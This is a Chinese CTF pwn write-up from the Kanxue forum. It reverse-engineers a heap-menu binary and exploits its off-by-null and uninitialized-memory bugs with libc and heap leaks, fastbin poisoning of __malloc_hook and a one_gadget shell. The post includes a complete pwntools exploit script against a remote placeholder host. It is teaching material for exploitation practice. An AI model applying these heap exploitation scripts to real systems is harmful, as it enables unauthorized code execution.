_isoc99_scanf("%d", v2);
*((_QWORD *)v2 + 1) = malloc(*v2);
*((_QWORD *)v2 + 3) = malloc(0x80uLL);
*((_QWORD *)v2 + 2) = malloc(0x20uLL);
puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
read(0, *((void **)v2 + 2), 0x20uLL);
dword_203060[v1] = 1;
qword_203080[v1] = v2;
}
return 0LL;
}

sub_BFC()函数创建了一个结构体,并且可以自定义chicken大小。数组qword_203080记录了每一个chicken,数组dword_203060记录了qword_203060的使用情况。可以向markname读入内容。并且未将v2+3处的内容初始化,可能存在泄露。

struct Chicken {
int size;
void* name;
void* mark;
void* msg; // 后面分析得知,这里记载的菜名。
};

根据读入情况,不难分析出结构体的内容。

__int64 sub_B34()
{
int i; // [rsp+0h] [rbp-4h]

for ( i = 0; i <= 7; ++i )
{
if ( !dword_203060[i] )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}

sub_B34()函数用于查看qword_203060数组的使用情况。

char *__fastcall sub_B74(char *a1, int a2)
{
char *result; // rax

read(0, a1, a2);
result = &a1[a2];
*result &= ~1u;
return result;
}

sub_B74()函数置零操作存在off-by-null漏洞。

__int64 sub_D28()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060[v1] )
{
*(_DWORD *)qword_203080[v1] = 0;
dword_203060[v1] = 0;
free(*(void **)(qword_203080[v1] + 8LL));
*(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
free(*(void **)(qword_203080[v1] + 16LL));
*(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
free(*(void **)(qword_203080[v1] + 24LL));
qword_203080[v1] = 0LL;
}
else
{
puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
}
return 0LL;
}

sub_D28()函数用于释放多块,没有问题。

__int64 sub_EB3()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060[v1] )
{
puts("Old name");
puts(*(const char **)(qword_203080[v1] + 8LL));
puts("Give me new name.");
read(0, *(void **)(qword_203080[v1] + 8LL), *(int *)qword_203080[v1]);
puts("New name");
puts(*(const char **)(qword_203080[v1] + 8LL));
puts("Give me Cook name.");
sub_BC0(v1);
}
else
{
puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
}
return 0LL;
}

sub_EB3()函数用于改名字,并记录菜名。

ssize_t __fastcall sub_BC0(int a1)
{
return read(0, *(void **)(qword_203080[a1] + 24LL), 0x80uLL);
}

sub_BC0()函数用于读取菜名。

__int64 sub_1005()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 7; ++i )
{
printf("The chicken %d\n", (unsigned int)i);
if ( dword_203060[i] )
{
puts("\x1B[1;33m Name \x1B[0m");
puts(*(const char **)(qword_203080[i] + 8LL));
puts("\x1B[1;33m ErrMsg \x1B[0m");
puts(*(const char **)(qword_203080[i] + 24LL));
puts("\x1B[1;33m Mark \x1B[0m");
puts(*(const char **)(qword_203080[i] + 16LL));
}
}
return 0LL;
}

sub_1005()函数用于打印所有信息。这里菜名被标记为ErrMsg

漏洞利用

我们可以通过sub_BFC()函数未初始化的ErrMsg(菜名)sub_1005()来进行信息泄露,得到heaplibc地址。然后利用off-by-null漏洞制造堆块重叠,向fastbin中写入__malloc_hook地址,然后篡改其为one_gadget来获取权限。

前置脚本

from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True

def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)

def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass

def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)

def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())

def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)

def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')

定义了函数接口和前置操作。

泄露libc地址

def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20)
Delete(0)
Add(0x20, b'c'*20, b'd'*20)
Black()
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]

本题泄露利用unsorted bin中保存的libc地址与libc基址的固定偏移获取libc基址。因为结构体在初始化时并未初始化ErrMsg的值,并且其大小为0x90,我们申请一个结构体再将其释放,再次申请时可将其从unsorted bin中申请出来,然后可以通过打印函数打印unsorted bin中的内容。

在打印前下断点可以看到,此时ErrMsg中保存的值为libc地址。由于libc中的地址固定偏移不受pieaslr保护影响,可以由此计算出libc基址。

泄露heap地址

def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3

Delete(1)
Delete(3)
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn');
Black()
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)

堆地址也可以通过unsorted binbk指针泄露,我们将两个不连续的non-fast大小的堆块放入unsorted bin中,由于unsorted bin采取先进先出模式,所以我们会将结构体1重新申请出来,它ErrMsgbk位置便是结构体3的地址。然后通过改名函数将ErrMsg的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。

同样在打印前下一个断点,可以看到其bk位置为一个堆地址。

通过修改__malloc_hook为one_gadget地址get_shell

def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
Delete(6)
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
Delete(6)
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
Delete(4)

因为Add函数存在off-by-null漏洞,所以我们可以制造一个堆块重叠,将一个fast chunk包含在其中,这里需要注意的时,我们要绕过unlink检查,需要将伪造的fake chunkfdbk指向它本身。然后计算好偏移将fast chunkfd位置改为__malloc_hook附近包含__malloc_hook大小的fake chunk的位置。然后将__malloc_hook改为one_gadget。此时四个one_gadget都无法打通,我们可以free一个错误的chunk来调用malloc_printerr函数,这个函数中存在其他的调用,最后会调用到malloc,然后便可调用one_gadget

通过find_fake_fast来寻找__malloc_hook附近的fake_chunkfake_chunkprev_size距离__malloc_hook有0x23大小。所以填充0x13字节即可覆盖到目标地址。

我们可以通过k来查看函数调用栈,发现free报错后会在动态链接器调用malloc

可以在源码中发现,由于free一个错误堆块调用了malloc_printerr函数,最后在dl-error.c调用了malloc函数。

完整exp

from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False

def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)

def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass

def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)

def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())

def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)

def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')

def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
Delete(0) # errmsg_0x90->unsorted
Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
Black()
#debug() # db1
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
sleep(0.5)

def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Delete(1)
Delete(3)
#debug() # db2
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn')
Black()
#debug() # db3
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)
sleep(0.5)

def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
#debug() # db4
Delete(6)
#debug() # db5
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
#debug() # db6
Delete(6)
#debug() # db7
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
#debug() # db8
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1

#gdb.attach(p, 'b *_dl_signal_error')
Delete(4)
#pause()
sleep(0.5)

def pwn():
connect()
get_libc()
get_heap()
get_shell()
p.interactive()

if __name__ == '__main__':
pwn()

看雪ID:jelasin

https://bbs.kanxue.com/user-home-958172.htm

*本文为看雪论坛精华文章,由 jelasin 原创,转载请注明来自看雪社区

# 往期推荐

1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术

2、SWPUCTF 2021 新生赛-老鼠走迷宫

3、OWASP 实战分析 level 1

4、【远控木马】银狐组织最新木马样本-分析

5、自研Unidbg trace工具实战ollvm反混淆

6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458531693&idx=2&sn=b342e44a9054e3b71805d1eae3a5d7ca&chksm=b055426da6e8184727d3650e2c2669d7409a2c5300f0495a966ec8bb4f6c15f05de6f77bc348&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh